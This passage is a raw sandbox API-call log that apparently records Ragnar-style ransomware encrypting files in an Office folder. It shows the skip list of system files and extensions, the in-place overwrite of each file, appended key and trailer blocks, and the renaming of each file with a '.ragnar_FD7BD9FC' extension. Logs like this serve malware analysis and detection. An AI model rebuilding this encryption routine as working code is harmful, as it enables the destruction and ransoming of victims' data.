lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="ntldr") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="ntuser.dat") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="ntuser.dat.log") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="ntuser.ini") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="thumbs.db") returned -1 [0059.926] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0059.926] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0059.926] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0059.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0059.926] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0059.926] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSOINTL.DLL.IDX_DLL" | out: lpString1="MSOINTL.DLL.IDX_DLL") returned="MSOINTL.DLL.IDX_DLL" [0059.926] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned=".IDX_DLL" [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="autorun.inf") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="boot.ini") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="bootfont.bin") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="bootsect.bak") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="bootmgr.efi") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="bootmgfw.efi") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="desktop.ini") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="iconcache.db") returned 1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="ntldr") returned -1 [0059.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="ntuser.dat") returned -1 [0059.927] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="ntuser.dat.log") returned -1 [0059.927] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="ntuser.ini") returned -1 [0059.927] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="thumbs.db") returned -1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".db") returned 1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".sys") returned -1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".dll") returned 1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".lnk") returned -1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".msi") returned -1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".drv") returned 1 [0059.927] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".exe") returned 1 [0059.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0059.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0059.928] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=55680) returned 1 [0059.928] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xd977, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.928] GetProcessHeap () returned 0x580000 [0059.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0059.929] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0059.930] VirtualAlloc (lpAddress=0x0, dwSize=0xd980, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0059.930] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.930] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0059.931] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd980, lpOverlapped=0x0) returned 1 [0059.938] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0059.939] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd980, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.939] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd980, lpOverlapped=0x0) returned 1 [0059.939] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd980, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.939] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.940] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xd980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.940] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0059.940] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0059.940] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0059.940] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0059.941] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0059.941] GetProcessHeap () returned 0x580000 [0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0059.941] CloseHandle (hObject=0x108) returned 1 [0059.942] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" [0059.942] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.ragnar_FD7BD9FC" [0059.942] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0059.943] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0059.943] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0059.943] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSOINTL.REST.IDX_DLL" | out: lpString1="MSOINTL.REST.IDX_DLL") returned="MSOINTL.REST.IDX_DLL" [0059.943] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned=".IDX_DLL" [0059.943] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="autorun.inf") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="boot.ini") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="bootfont.bin") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="bootsect.bak") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="bootmgr.efi") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="bootmgfw.efi") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="desktop.ini") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="iconcache.db") returned 1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="ntldr") returned -1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="ntuser.dat") returned -1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="ntuser.dat.log") returned -1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="ntuser.ini") returned -1 [0059.944] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="thumbs.db") returned -1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".db") returned 1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".sys") returned -1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".dll") returned 1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".lnk") returned -1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".msi") returned -1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".drv") returned 1 [0059.944] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".exe") returned 1 [0059.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0059.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0059.945] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1388416) returned 1 [0059.945] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x152f77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.945] GetProcessHeap () returned 0x580000 [0059.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0059.945] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0059.969] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0059.969] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.969] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0059.969] ReadFile (in: hFile=0x108, lpBuffer=0x300000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1ea45c*=0x100000, lpOverlapped=0x0) returned 1 [0060.394] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0060.402] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0060.402] WriteFile (in: hFile=0x108, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1ea458*=0x100000, lpOverlapped=0x0) returned 1 [0060.406] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0060.406] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.411] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x152f80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.411] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0060.411] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0060.417] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0060.417] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0060.417] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0060.417] GetProcessHeap () returned 0x580000 [0060.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0060.417] CloseHandle (hObject=0x108) returned 1 [0060.429] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" [0060.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.ragnar_FD7BD9FC" [0060.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0060.430] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0060.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0060.430] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSSOAPR3.DLL" | out: lpString1="MSSOAPR3.DLL") returned="MSSOAPR3.DLL" [0060.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned=".DLL" [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="autorun.inf") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="boot.ini") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="bootfont.bin") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="bootsect.bak") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="bootmgr") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="bootmgr.efi") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="bootmgfw.efi") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="desktop.ini") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="iconcache.db") returned 1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="ntldr") returned -1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="ntuser.dat") returned -1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="ntuser.dat.log") returned -1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="ntuser.ini") returned -1 [0060.430] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="thumbs.db") returned -1 [0060.430] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0060.430] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0060.430] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0060.430] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0060.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0060.430] lstrcpyW (in: lpString1=0x1eab6a, lpString2="OARPMANR.DLL" | out: lpString1="OARPMANR.DLL") returned="OARPMANR.DLL" [0060.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned=".DLL" [0060.430] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0060.430] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="autorun.inf") returned 1 [0060.430] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="boot.ini") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="bootfont.bin") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="bootsect.bak") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="bootmgr") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="bootmgr.efi") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="bootmgfw.efi") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="desktop.ini") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="iconcache.db") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="ntldr") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="ntuser.dat") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="ntuser.dat.log") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="ntuser.ini") returned 1 [0060.431] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="thumbs.db") returned -1 [0060.431] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0060.431] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0060.431] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0060.431] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0060.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0060.431] lstrcpyW (in: lpString1=0x1eab6a, lpString2="README.HTM" | out: lpString1="README.HTM") returned="README.HTM" [0060.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned=".HTM" [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="autorun.inf") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="boot.ini") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="bootfont.bin") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="bootsect.bak") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="bootmgr") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="bootmgr.efi") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="bootmgfw.efi") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="desktop.ini") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="iconcache.db") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="ntldr") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="ntuser.dat") returned 1 [0060.431] lstrcmpiW 